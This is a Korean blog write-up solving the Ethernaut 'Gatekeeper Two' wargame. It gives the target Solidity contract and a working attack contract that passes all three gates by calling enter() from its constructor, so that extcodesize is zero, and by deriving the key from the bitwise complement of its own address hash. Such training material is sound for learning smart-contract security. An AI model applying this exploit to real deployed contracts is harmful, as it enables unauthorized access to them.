소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
목표
modifier 통과
방법
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./GatekeeperTwo.sol";
contract GatekeeperTwoAttack {
GatekeeperTwo target;
constructor(address _adr) public {
target = GatekeeperTwo(_adr);
bytes8 ae = bytes8(keccak256(abi.encodePacked(address(this))));
bytes8 key = ~ae;
target.enter(key);
}
}
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 16. Preservation (0) | 2022.06.14 |
---|---|
[Ethernaut] 15. Naught Coin (0) | 2022.06.13 |
[Ethernaut] 13. Gatekeeper One (0) | 2022.06.08 |
[Ethernaut] 12. Privacy (0) | 2022.06.07 |
[Ethernaut] 11. Elevator (0) | 2022.06.06 |